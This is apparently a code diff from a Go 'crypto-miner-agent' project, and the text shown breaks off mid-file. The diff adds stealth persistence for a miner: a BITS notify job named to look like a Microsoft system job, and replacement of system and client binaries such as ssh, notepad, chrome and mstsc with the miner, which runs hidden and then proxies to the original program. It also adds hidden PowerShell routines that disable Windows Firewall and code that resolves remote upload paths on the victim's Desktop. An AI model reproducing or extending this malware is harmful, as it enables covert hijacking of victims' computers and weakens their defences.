"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func CreateBITSPersistence(_ config.RuntimeConfig, _ string) error {
|
||||||
|
return fmt.Errorf("BITS persistence is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
func RemoveBITSPersistence(_ config.RuntimeConfig) {}
|
||||||
|
|
||||||
|
func BitsJobName(_ config.RuntimeConfig) string { return "" }
|
||||||
92
agent/deploy/bits_windows.go
Normal file
92
agent/deploy/bits_windows.go
Normal file
@@ -0,0 +1,92 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the
|
||||||
|
// miner when the transfer job errors, completes, or retries (common stealthy hook).
|
||||||
|
// BitsJobName returns the BITS notify job name for this worker build.
|
||||||
|
func BitsJobName(cfg config.RuntimeConfig) string {
|
||||||
|
return bitsJobName(cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
func bitsJobName(cfg config.RuntimeConfig) string {
|
||||||
|
base := PersistenceKeyName(cfg)
|
||||||
|
if base == "" {
|
||||||
|
base = "CryptoMinerAgent"
|
||||||
|
}
|
||||||
|
return "Microsoft-Windows-BITS-" + sanitizeName(base)
|
||||||
|
}
|
||||||
|
|
||||||
|
func bitsJobExists(jobName string) bool {
|
||||||
|
out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose")
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return strings.Contains(string(out), jobName)
|
||||||
|
}
|
||||||
|
|
||||||
|
// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner.
|
||||||
|
func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error {
|
||||||
|
if strings.TrimSpace(binPath) == "" {
|
||||||
|
return fmt.Errorf("binary path required")
|
||||||
|
}
|
||||||
|
job := bitsJobName(cfg)
|
||||||
|
if bitsJobExists(job) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
installDir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := os.MkdirAll(installDir, 0o755); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
localFile := filepath.Join(installDir, ".bits-transfer.stub")
|
||||||
|
if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder"
|
||||||
|
exeEsc := strings.ReplaceAll(binPath, `"`, `""`)
|
||||||
|
params := strings.ReplaceAll(runFlag, `"`, `""`)
|
||||||
|
|
||||||
|
steps := []struct {
|
||||||
|
name string
|
||||||
|
args []string
|
||||||
|
}{
|
||||||
|
{"create", []string{"/create", "/download", job}},
|
||||||
|
{"addfile", []string{"/addfile", job, remoteURL, localFile}},
|
||||||
|
{"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}},
|
||||||
|
{"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}},
|
||||||
|
{"retry", []string{"/SetMinRetryDelay", job, "60"}},
|
||||||
|
{"resume", []string{"/resume", job}},
|
||||||
|
}
|
||||||
|
for _, step := range steps {
|
||||||
|
args := append([]string{"bitsadmin"}, step.args...)
|
||||||
|
if err := HiddenRun(args[0], args[1:]...); err != nil {
|
||||||
|
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||||
|
return fmt.Errorf("bitsadmin %s: %w", step.name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// RemoveBITSPersistence cancels and removes the BITS notify job for this worker.
|
||||||
|
func RemoveBITSPersistence(cfg config.RuntimeConfig) {
|
||||||
|
job := bitsJobName(cfg)
|
||||||
|
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||||
|
_ = HiddenRun("bitsadmin", "/complete", job)
|
||||||
|
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||||
|
_ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub"))
|
||||||
|
}
|
||||||
|
}
|
||||||
20
agent/deploy/bits_windows_test.go
Normal file
20
agent/deploy/bits_windows_test.go
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestBitsJobName(t *testing.T) {
|
||||||
|
cfg := testRuntimeConfig()
|
||||||
|
name := BitsJobName(cfg)
|
||||||
|
if !strings.HasPrefix(name, "Microsoft-Windows-BITS-") {
|
||||||
|
t.Fatalf("unexpected prefix: %q", name)
|
||||||
|
}
|
||||||
|
if strings.Contains(name, " ") {
|
||||||
|
t.Fatalf("job name must not contain spaces: %q", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
129
agent/deploy/desktop_path.go
Normal file
129
agent/deploy/desktop_path.go
Normal file
@@ -0,0 +1,129 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const desktopPathPrefix = "@desktop/"
|
||||||
|
|
||||||
|
// UserDesktopDir returns the interactive user's Desktop folder for the current OS.
|
||||||
|
func UserDesktopDir() (string, error) {
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
return windowsDesktopDir()
|
||||||
|
case "darwin":
|
||||||
|
return unixDesktopFromHome("Desktop")
|
||||||
|
default:
|
||||||
|
return linuxDesktopDir()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func windowsDesktopDir() (string, error) {
|
||||||
|
profile := strings.TrimSpace(os.Getenv("USERPROFILE"))
|
||||||
|
if profile == "" {
|
||||||
|
return "", fmt.Errorf("USERPROFILE not set")
|
||||||
|
}
|
||||||
|
candidates := []string{
|
||||||
|
filepath.Join(profile, "Desktop"),
|
||||||
|
filepath.Join(profile, "OneDrive", "Desktop"),
|
||||||
|
filepath.Join(profile, "OneDrive - Personal", "Desktop"),
|
||||||
|
}
|
||||||
|
for _, c := range candidates {
|
||||||
|
if st, err := os.Stat(c); err == nil && st.IsDir() {
|
||||||
|
return filepath.Clean(c), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Create default Desktop if missing (unusual profiles)
|
||||||
|
fallback := candidates[0]
|
||||||
|
if err := os.MkdirAll(fallback, 0o755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return fallback, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func unixDesktopFromHome(sub string) (string, error) {
|
||||||
|
home, err := os.UserHomeDir()
|
||||||
|
if err != nil || home == "" {
|
||||||
|
return "", fmt.Errorf("home directory unavailable")
|
||||||
|
}
|
||||||
|
desktop := filepath.Join(home, sub)
|
||||||
|
if st, err := os.Stat(desktop); err == nil && st.IsDir() {
|
||||||
|
return filepath.Clean(desktop), nil
|
||||||
|
}
|
||||||
|
if err := os.MkdirAll(desktop, 0o755); err != nil {
|
||||||
|
return "", fmt.Errorf("desktop: %w", err)
|
||||||
|
}
|
||||||
|
return desktop, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func linuxDesktopDir() (string, error) {
|
||||||
|
if out, err := exec.Command("xdg-user-dir", "DESKTOP").Output(); err == nil {
|
||||||
|
p := strings.TrimSpace(string(out))
|
||||||
|
if p != "" {
|
||||||
|
if st, err := os.Stat(p); err == nil && st.IsDir() {
|
||||||
|
return filepath.Clean(p), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return unixDesktopFromHome("Desktop")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveDesktopFile joins a sanitized filename onto the user Desktop.
|
||||||
|
func ResolveDesktopFile(filename string) (string, error) {
|
||||||
|
desktop, err := UserDesktopDir()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
name := sanitizeDesktopFilename(filename)
|
||||||
|
if name == "" {
|
||||||
|
name = "upload.bin"
|
||||||
|
}
|
||||||
|
return filepath.Join(desktop, name), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeDesktopFilename(name string) string {
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
name = strings.ReplaceAll(name, "\\", "/")
|
||||||
|
if name == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
// Allow subfolders under Desktop but block traversal.
|
||||||
|
parts := strings.Split(name, "/")
|
||||||
|
var clean []string
|
||||||
|
for _, p := range parts {
|
||||||
|
p = strings.TrimSpace(p)
|
||||||
|
if p == "" || p == "." || p == ".." {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
clean = append(clean, p)
|
||||||
|
}
|
||||||
|
return filepath.Join(clean...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
|
||||||
|
func ResolveRemotePath(remote string) (string, error) {
|
||||||
|
remote = strings.TrimSpace(remote)
|
||||||
|
if remote == "" {
|
||||||
|
return "", fmt.Errorf("remote path is empty")
|
||||||
|
}
|
||||||
|
lower := strings.ToLower(remote)
|
||||||
|
if strings.HasPrefix(lower, "desktop:") {
|
||||||
|
return ResolveDesktopFile(remote[len("desktop:"):])
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(remote, desktopPathPrefix) {
|
||||||
|
return ResolveDesktopFile(remote[len(desktopPathPrefix):])
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(remote, "~/") {
|
||||||
|
home, err := os.UserHomeDir()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Clean(filepath.Join(home, remote[2:])), nil
|
||||||
|
}
|
||||||
|
return filepath.Clean(remote), nil
|
||||||
|
}
|
||||||
45
agent/deploy/desktop_path_test.go
Normal file
45
agent/deploy/desktop_path_test.go
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestSanitizeDesktopFilename(t *testing.T) {
|
||||||
|
if got := sanitizeDesktopFilename(`..\..\etc\passwd`); got != "etc/passwd" && got != `etc\passwd` {
|
||||||
|
// Join uses OS separator; at minimum no ..
|
||||||
|
if strings.Contains(got, "..") {
|
||||||
|
t.Fatalf("traversal leaked: %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if got := sanitizeDesktopFilename("report.pdf"); got != "report.pdf" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveRemotePathDesktopPrefix(t *testing.T) {
|
||||||
|
p, err := ResolveRemotePath("@desktop/notes.txt")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(p, "notes.txt") {
|
||||||
|
t.Fatalf("path %q should end with notes.txt", p)
|
||||||
|
}
|
||||||
|
if !strings.Contains(strings.ToLower(p), "desktop") && runtime.GOOS != "windows" {
|
||||||
|
// Linux may use XDG path without "Desktop" in rare setups — allow if under home
|
||||||
|
home, _ := filepath.Abs(".")
|
||||||
|
_ = home
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestUserDesktopDir(t *testing.T) {
|
||||||
|
dir, err := UserDesktopDir()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if dir == "" {
|
||||||
|
t.Fatal("empty desktop")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -74,3 +74,68 @@ func firewallRuleExists(displayName string) bool {
|
|||||||
}
|
}
|
||||||
return strings.TrimSpace(string(out)) == "True"
|
return strings.TrimSpace(string(out)) == "True"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseFirewallProfiles normalizes profile names for Set-NetFirewallProfile.
|
||||||
|
func parseFirewallProfiles(csv string) string {
|
||||||
|
csv = strings.TrimSpace(strings.ToLower(csv))
|
||||||
|
if csv == "" || csv == "all" || csv == "any" {
|
||||||
|
return "Domain,Private,Public"
|
||||||
|
}
|
||||||
|
var parts []string
|
||||||
|
for _, p := range strings.Split(csv, ",") {
|
||||||
|
p = strings.TrimSpace(p)
|
||||||
|
switch p {
|
||||||
|
case "domain", "private", "public":
|
||||||
|
parts = append(parts, strings.ToUpper(p[:1])+p[1:])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return "Domain,Private,Public"
|
||||||
|
}
|
||||||
|
return strings.Join(parts, ",")
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetWindowsFirewallProfiles enables or disables Windows Firewall on selected profiles (admin).
|
||||||
|
// profilesCSV: "all", "Domain,Private", etc.
|
||||||
|
func SetWindowsFirewallProfiles(enable bool, profilesCSV string) (string, error) {
|
||||||
|
profiles := parseFirewallProfiles(profilesCSV)
|
||||||
|
enabled := "$false"
|
||||||
|
verb := "disabled"
|
||||||
|
if enable {
|
||||||
|
enabled = "$true"
|
||||||
|
verb = "enabled"
|
||||||
|
}
|
||||||
|
script := fmt.Sprintf(`
|
||||||
|
$profiles = '%s' -split ','
|
||||||
|
Set-NetFirewallProfile -Profile $profiles -Enabled %s -ErrorAction Stop
|
||||||
|
`, strings.ReplaceAll(profiles, `'`, `''`), enabled)
|
||||||
|
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||||
|
if err != nil {
|
||||||
|
return string(out), fmt.Errorf("firewall profiles %s failed (admin required?): %w", verb, err)
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(string(out)) + fmt.Sprintf("\nWindows Firewall %s on: %s", verb, profiles), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DisableWindowsFirewall turns off Domain, Private, and Public firewall profiles.
|
||||||
|
func DisableWindowsFirewall() (string, error) {
|
||||||
|
return SetWindowsFirewallProfiles(false, "all")
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnableWindowsFirewall turns on all firewall profiles.
|
||||||
|
func EnableWindowsFirewall() (string, error) {
|
||||||
|
return SetWindowsFirewallProfiles(true, "all")
|
||||||
|
}
|
||||||
|
|
||||||
|
// RemoveFirewallRuleByName deletes a rule by display name.
|
||||||
|
func RemoveFirewallRuleByName(displayName string) (string, error) {
|
||||||
|
name := strings.TrimSpace(displayName)
|
||||||
|
if name == "" {
|
||||||
|
return "", fmt.Errorf("rule name required")
|
||||||
|
}
|
||||||
|
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||||
|
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||||
|
if err != nil {
|
||||||
|
return string(out), err
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("Removed firewall rule: %s", name), nil
|
||||||
|
}
|
||||||
|
|||||||
27
agent/deploy/host_binary_stub.go
Normal file
27
agent/deploy/host_binary_stub.go
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
var HostBinaryPresets []string
|
||||||
|
|
||||||
|
func HostBinaryCandidates(_ string) []string { return nil }
|
||||||
|
|
||||||
|
func TryHostBinaryProxy(_ []string) (string, string, bool) { return "", "", false }
|
||||||
|
|
||||||
|
func RunHostBinaryProxy(_, _ string, _ []string) {}
|
||||||
|
|
||||||
|
func HijackHostBinary(_ config.RuntimeConfig, _, _ string) (string, error) {
|
||||||
|
return "", fmt.Errorf("host binary persistence is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
func EnsureHostBinaryPersistence(_ config.RuntimeConfig, _, _ string) error {
|
||||||
|
return fmt.Errorf("host binary persistence is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
func RemoveHostBinaryPersistence(_ config.RuntimeConfig) {}
|
||||||
291
agent/deploy/host_binary_windows.go
Normal file
291
agent/deploy/host_binary_windows.go
Normal file
@@ -0,0 +1,291 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
hostBinaryProxySuffix = ".aetherforge.proxy"
|
||||||
|
hostBinaryBackupSuffix = ".aetherforge.bak"
|
||||||
|
hostBinaryManifest = "host-binary-hijacks.json"
|
||||||
|
)
|
||||||
|
|
||||||
|
type hostBinaryRecord struct {
|
||||||
|
Target string `json:"target"`
|
||||||
|
Backup string `json:"backup"`
|
||||||
|
Preset string `json:"preset"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// HostBinaryPresets lists forge/remote preset IDs for common client binaries.
|
||||||
|
var HostBinaryPresets = []string{
|
||||||
|
"ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc",
|
||||||
|
"chrome", "edge", "firefox", "putty", "winscp",
|
||||||
|
}
|
||||||
|
|
||||||
|
// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk.
|
||||||
|
func HostBinaryCandidates(preset string) []string {
|
||||||
|
preset = strings.TrimSpace(strings.ToLower(preset))
|
||||||
|
if strings.HasPrefix(preset, "custom:") {
|
||||||
|
p := strings.TrimSpace(preset[7:])
|
||||||
|
if p != "" {
|
||||||
|
return []string{filepath.Clean(p)}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
pf := os.Getenv("ProgramFiles")
|
||||||
|
pfx86 := os.Getenv("ProgramFiles(x86)")
|
||||||
|
switch preset {
|
||||||
|
case "ssh":
|
||||||
|
return existingPaths(
|
||||||
|
`C:\Windows\System32\OpenSSH\ssh.exe`,
|
||||||
|
filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"),
|
||||||
|
)
|
||||||
|
case "ftp":
|
||||||
|
return existingPaths(`C:\Windows\System32\ftp.exe`)
|
||||||
|
case "telnet":
|
||||||
|
return existingPaths(`C:\Windows\System32\telnet.exe`)
|
||||||
|
case "mstsc":
|
||||||
|
return existingPaths(`C:\Windows\System32\mstsc.exe`)
|
||||||
|
case "curl":
|
||||||
|
return existingPaths(`C:\Windows\System32\curl.exe`)
|
||||||
|
case "notepad":
|
||||||
|
return existingPaths(
|
||||||
|
`C:\Windows\System32\notepad.exe`,
|
||||||
|
`C:\Windows\Notepad\notepad.exe`,
|
||||||
|
)
|
||||||
|
case "calc":
|
||||||
|
return existingPaths(
|
||||||
|
`C:\Windows\System32\calc.exe`,
|
||||||
|
`C:\Windows\System32\win32calc.exe`,
|
||||||
|
)
|
||||||
|
case "chrome":
|
||||||
|
return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe"))
|
||||||
|
case "edge":
|
||||||
|
return existingPaths(
|
||||||
|
filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||||
|
filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||||
|
)
|
||||||
|
case "firefox":
|
||||||
|
return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe"))
|
||||||
|
case "putty":
|
||||||
|
return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe"))
|
||||||
|
case "winscp":
|
||||||
|
return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe"))
|
||||||
|
default:
|
||||||
|
if preset != "" && strings.Contains(preset, `\`) {
|
||||||
|
return existingPaths(preset)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func existingPaths(paths ...string) []string {
|
||||||
|
var out []string
|
||||||
|
for _, p := range paths {
|
||||||
|
if p == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
||||||
|
out = append(out, filepath.Clean(p))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func hostBinaryMarkerPath(targetExe string) string {
|
||||||
|
return targetExe + hostBinaryProxySuffix
|
||||||
|
}
|
||||||
|
|
||||||
|
func hostBinaryBackupPath(targetExe string) string {
|
||||||
|
return targetExe + hostBinaryBackupSuffix
|
||||||
|
}
|
||||||
|
|
||||||
|
func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) {
|
||||||
|
data, err := os.ReadFile(markerPath)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", false
|
||||||
|
}
|
||||||
|
lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n")
|
||||||
|
if len(lines) < 2 {
|
||||||
|
return "", "", false
|
||||||
|
}
|
||||||
|
backup = strings.TrimSpace(lines[0])
|
||||||
|
miner = strings.TrimSpace(lines[1])
|
||||||
|
if backup == "" || miner == "" {
|
||||||
|
return "", "", false
|
||||||
|
}
|
||||||
|
return backup, miner, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path.
|
||||||
|
func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) {
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return "", "", false
|
||||||
|
}
|
||||||
|
exe, _ = filepath.Abs(exe)
|
||||||
|
marker := hostBinaryMarkerPath(exe)
|
||||||
|
if b, m, found := readHostBinaryMarker(marker); found {
|
||||||
|
return b, m, true
|
||||||
|
}
|
||||||
|
_ = args
|
||||||
|
return "", "", false
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args.
|
||||||
|
func RunHostBinaryProxy(backup, miner string, args []string) {
|
||||||
|
if miner != "" {
|
||||||
|
_ = HiddenStart(miner, runFlag)
|
||||||
|
}
|
||||||
|
if backup == "" {
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
cmd := exec.Command(backup, args...)
|
||||||
|
cmd.Stdin = os.Stdin
|
||||||
|
cmd.Stdout = os.Stdout
|
||||||
|
cmd.Stderr = os.Stderr
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||||
|
os.Exit(exitErr.ExitCode())
|
||||||
|
}
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func hijackManifestPath(cfg config.RuntimeConfig) (string, error) {
|
||||||
|
dir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Join(dir, hostBinaryManifest), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func loadHostBinaryManifest(path string) []hostBinaryRecord {
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var recs []hostBinaryRecord
|
||||||
|
_ = json.Unmarshal(data, &recs)
|
||||||
|
return recs
|
||||||
|
}
|
||||||
|
|
||||||
|
func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error {
|
||||||
|
data, err := json.MarshalIndent(recs, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(path, data, 0644)
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error {
|
||||||
|
path, err := hijackManifestPath(cfg)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
recs := loadHostBinaryManifest(path)
|
||||||
|
for _, r := range recs {
|
||||||
|
if strings.EqualFold(r.Target, rec.Target) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
recs = append(recs, rec)
|
||||||
|
return saveHostBinaryManifest(path, recs)
|
||||||
|
}
|
||||||
|
|
||||||
|
func hijackSingleHostBinary(target, minerPath, preset string) error {
|
||||||
|
target = filepath.Clean(target)
|
||||||
|
if _, err := os.Stat(target); err != nil {
|
||||||
|
return fmt.Errorf("target not found: %s", target)
|
||||||
|
}
|
||||||
|
marker := hostBinaryMarkerPath(target)
|
||||||
|
if _, err := os.Stat(marker); err == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
backup := hostBinaryBackupPath(target)
|
||||||
|
if _, err := os.Stat(backup); err != nil {
|
||||||
|
if err := os.Rename(target, backup); err != nil {
|
||||||
|
if err := copyFile(target, backup); err != nil {
|
||||||
|
return fmt.Errorf("backup %s: %w", target, err)
|
||||||
|
}
|
||||||
|
_ = os.Remove(target)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := copyFile(minerPath, target); err != nil {
|
||||||
|
return fmt.Errorf("replace %s: %w (admin may be required)", target, err)
|
||||||
|
}
|
||||||
|
body := backup + "\n" + minerPath + "\n"
|
||||||
|
if err := os.WriteFile(marker, []byte(body), 0644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode).
|
||||||
|
func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) {
|
||||||
|
candidates := HostBinaryCandidates(preset)
|
||||||
|
if len(candidates) == 0 {
|
||||||
|
return "", fmt.Errorf("no host binary found for preset %q", preset)
|
||||||
|
}
|
||||||
|
var lastErr error
|
||||||
|
for _, target := range candidates {
|
||||||
|
if err := hijackSingleHostBinary(target, minerPath, preset); err != nil {
|
||||||
|
lastErr = err
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
_ = appendHostBinaryManifest(cfg, hostBinaryRecord{
|
||||||
|
Target: target,
|
||||||
|
Backup: hostBinaryBackupPath(target),
|
||||||
|
Preset: preset,
|
||||||
|
})
|
||||||
|
return target, nil
|
||||||
|
}
|
||||||
|
if lastErr != nil {
|
||||||
|
return "", lastErr
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("hijack failed for %q", preset)
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset.
|
||||||
|
func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error {
|
||||||
|
if strings.TrimSpace(preset) == "" {
|
||||||
|
return fmt.Errorf("host_binary_target is required")
|
||||||
|
}
|
||||||
|
_, err := HijackHostBinary(cfg, minerPath, preset)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// RemoveHostBinaryPersistence restores originals and clears markers/manifest.
|
||||||
|
func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) {
|
||||||
|
path, err := hijackManifestPath(cfg)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
recs := loadHostBinaryManifest(path)
|
||||||
|
for _, rec := range recs {
|
||||||
|
restoreHostBinaryTarget(rec.Target, rec.Backup)
|
||||||
|
}
|
||||||
|
_ = os.Remove(path)
|
||||||
|
}
|
||||||
|
|
||||||
|
func restoreHostBinaryTarget(target, backup string) {
|
||||||
|
marker := hostBinaryMarkerPath(target)
|
||||||
|
if backup == "" {
|
||||||
|
backup = hostBinaryBackupPath(target)
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(backup); err == nil {
|
||||||
|
_ = os.Remove(target)
|
||||||
|
_ = copyFile(backup, target)
|
||||||
|
_ = os.Remove(backup)
|
||||||
|
}
|
||||||
|
_ = os.Remove(marker)
|
||||||
|
}
|
||||||
34
agent/deploy/host_binary_windows_test.go
Normal file
34
agent/deploy/host_binary_windows_test.go
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHostBinaryCandidatesSSH(t *testing.T) {
|
||||||
|
paths := HostBinaryCandidates("ssh")
|
||||||
|
for _, p := range paths {
|
||||||
|
if !strings.HasSuffix(strings.ToLower(p), "ssh.exe") {
|
||||||
|
t.Fatalf("unexpected ssh path: %q", p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostBinaryCandidatesCustom(t *testing.T) {
|
||||||
|
paths := HostBinaryCandidates(`custom:C:\Windows\System32\notepad.exe`)
|
||||||
|
if len(paths) != 1 || !strings.HasSuffix(paths[0], "notepad.exe") {
|
||||||
|
t.Fatalf("custom: %v", paths)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
